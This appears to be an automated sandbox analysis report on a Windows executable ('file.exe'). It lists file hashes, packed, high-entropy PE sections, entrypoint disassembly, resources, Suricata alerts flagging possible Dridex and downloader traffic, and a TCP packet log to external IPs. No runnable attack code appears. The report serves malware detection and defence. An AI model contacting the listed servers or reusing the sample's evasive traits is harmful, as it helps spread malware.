SHA-512:	4727722347DA0548E03CD7EA28D60A35BFAA25FE73E5FAC1EA36819C95F86D6105B7B5CB8C6EF0495A40BC84D1F5A2911EA1B8E97B6C9442E7F86517A24A8E06
Malicious:	false
Preview:	regfD...D....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...H.L.................................................................................................................................................................................................................................................................................................................................................\|........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.934912947712122
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'985'024 bytes
MD5:	5a3f6aa1107d91bdc0430e2a0c1f4f26
SHA1:	316139dd3edcd5af3a8afbd89e44ac10bb8e87e7
SHA256:	f43ded143a77002b6aa1b860aecca5b94e00a601d1db104d04423e3b5e0261ca
SHA512:	712f40770c3d645e54aac46ecb6cf51065ae30253e39e5fda861191d23aa2be2bb1d1e69043610f9ad22f2c86c532c759c2a4e06277b85c056e1c9f097c9143a
SSDEEP:	24576:rP+AXJnenhDBV6oXTQ0pCPx2WOe7XKFdJ14xvKuvOy+EJvXWSNuMERtWYX4bmn2p:rP9JotV6ojQnYOyPDFEpXD4MEX3Cmni
TLSH:	95953386D9564AADEA234F3B9B1ABFF6BAC4E7334D91813D7749D2ADD470310DA10B00
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d...................

File Icon


Icon Hash:	c7a99a8aa651798c

Static PE Info

General

Entrypoint:	0xc78000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64DDDE0C [Thu Aug 17 08:45:00 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE2B06F58EAh
movaps xmm3, dqword ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x42105a	0x6e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40e000	0x12168	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x86b820	0x18	ehftnwgk
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x40d000	0x25400	60126e1391167d11ded7bb01b3e6e81c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40e000	0x12168	0x9400	8d24dfa4a0b892641ec228e50caa6840	False	0.962890625	data	7.880154306315445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x421000	0x1000	0x200	de906030ab088402d586a76aa6666758	False	0.15234375	data	1.0884795995201089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x422000	0x2a2000	0x200	9400d7267bad02ed8c9fa85aae2949ee	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ehftnwgk	0x6c4000	0x1b3000	0x1b2800	12621e8f817cf1f8fdf22293d58c5cb2	False	0.9853060495181243	data	7.94243036954353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
unlnktmr	0x877000	0x1000	0x400	5bb0858aa816561a2aa8dd581596e22f	False	0.77734375	data	6.114812324627289	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x878000	0x3000	0x2200	d26bde493fa36bd755d8e5e1edbdaa06	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x40e730	0x130	data			1.0361842105263157
RT_CURSOR	0x40e860	0x25a8	data			1.0011410788381743
RT_CURSOR	0x410e08	0xea8	data			1.0029317697228144
RT_ICON	0x86b880	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Syriac	Syriac	0.3648720682302772
RT_ICON	0x86c728	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Syriac	Syriac	0.5063176895306859
RT_ICON	0x86cfd0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Syriac	Syriac	0.5881336405529954
RT_ICON	0x86d698	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Syriac	Syriac	0.619942196531792
RT_ICON	0x86dc00	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Syriac	Syriac	0.3574108818011257
RT_ICON	0x86eca8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Syriac	Syriac	0.3536885245901639
RT_ICON	0x86f630	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Syriac	Syriac	0.40425531914893614
RT_ICON	0x86fa98	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Syriac	Syriac	0.7969083155650319
RT_ICON	0x870940	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Syriac	Syriac	0.8032490974729242
RT_ICON	0x8711e8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Syriac	Syriac	0.7350230414746544
RT_ICON	0x8718b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Syriac	Syriac	0.7774566473988439
RT_ICON	0x871e18	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Syriac	Syriac	0.6827800829875519
RT_ICON	0x8743c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Syriac	Syriac	0.7293621013133208
RT_ICON	0x875468	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Syriac	Syriac	0.7594262295081967
RT_ICON	0x875df0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Syriac	Syriac	0.8111702127659575
RT_DIALOG	0x41c688	0x84	empty			0
RT_STRING	0x41c70c	0x4be	empty			0
RT_STRING	0x41cbcc	0xc4	empty			0
RT_STRING	0x41cc90	0x732	empty			0
RT_STRING	0x41d3c4	0x7bc	empty			0
RT_STRING	0x41db80	0x5f0	empty			0
RT_STRING	0x41e170	0x696	empty			0
RT_STRING	0x41e808	0x7c0	empty			0
RT_STRING	0x41efc8	0x76a	empty			0
RT_STRING	0x41f734	0x610	empty			0
RT_GROUP_CURSOR	0x41fd44	0x22	empty			0
RT_GROUP_CURSOR	0x41fd68	0x14	empty			0
RT_GROUP_ICON	0x876258	0x76	data	Syriac	Syriac	0.6779661016949152
RT_GROUP_ICON	0x8762ce	0x68	data	Syriac	Syriac	0.7115384615384616
RT_VERSION	0x876336	0x1b8	COM executable for DOS			0.5704545454545454
RT_MANIFEST	0x8764ee	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Syriac	Syriac

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-12T16:49:05.832704+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.11	49987	188.119.66.185	443	TCP
2024-12-12T16:49:06.512880+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.11	49987	188.119.66.185	443	TCP
2024-12-12T16:49:08.095208+0100	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.11	49990	188.119.66.185	443	TCP
2024-12-12T16:49:08.823229+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.11	49990	188.119.66.185	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 16:47:58.168742895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:47:58.288568974 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:47:58.288703918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:47:58.288933992 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:47:58.638639927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:47:59.658291101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:47:59.658385038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:47:59.677349091 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:47:59.798288107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.153918028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.155337095 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.176917076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.296837091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.743098974 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.743149996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.743186951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.743221045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.743243933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.743243933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.743356943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.743377924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.743377924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.743521929 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.743525028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.743603945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.743612051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.743647099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.743665934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.743681908 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.743705034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.743731976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.751703024 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.751841068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.751969099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.760132074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.760214090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.863476992 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.863614082 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.935061932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.935180902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.935295105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.937422037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.937506914 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.937568903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.937702894 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.945525885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.945662022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.945694923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.946254969 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.953531027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.953588963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.953670979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.961623907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.961733103 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.961819887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.969522953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.969547987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.969619036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.977437019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.977489948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.977588892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.985497952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.985631943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.985706091 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:00.993525982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.993607044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:00.993681908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.001579046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.001631021 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.001729965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.008575916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.008626938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.008722067 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.015749931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.015872002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.015877962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.015949965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.055665970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.055757046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.055958986 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.127248049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.127456903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.127535105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.129483938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.129520893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.129573107 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.129611015 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.133248091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.133409977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.133615971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.138108969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.138411999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.138494015 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.142942905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.143081903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.143248081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.147547007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.147741079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.147818089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.151971102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.152110100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.152184963 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.156409979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.156575918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.156649113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.160850048 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.160970926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.161047935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.165597916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.165673971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.165761948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.169778109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.169874907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.169883966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.174216986 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.174290895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.174350023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.176079988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.178673983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.178807974 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.178879976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.183193922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.183305025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.183394909 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.187580109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.187689066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.187764883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.191147089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.191262007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.191338062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.194752932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.194895029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.194974899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.198122978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.198214054 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.198301077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.201632977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.201705933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.201775074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.202016115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.205138922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.205210924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.205286026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.206293106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.208673954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.208733082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.208798885 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.212376118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.212412119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:01.212485075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.236520052 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:01.356453896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.157536030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.157641888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.157638073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.157742023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.158803940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.158907890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.158993959 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.161227942 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.161315918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.161333084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.161386967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.163795948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.163873911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.163944960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.163999081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.166215897 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.166378021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.166421890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.166476011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.168790102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.168824911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.168859959 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.168884039 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.171236038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.171256065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.171303988 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.171351910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.173700094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.173799038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.173815966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.173916101 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.176167965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.176265955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.176301956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.176359892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.178694963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.178734064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.178778887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.178833008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.181183100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.181258917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.181332111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.181392908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.235937119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.236066103 CET	80	49819	80.82.65.70	192.168.2.11
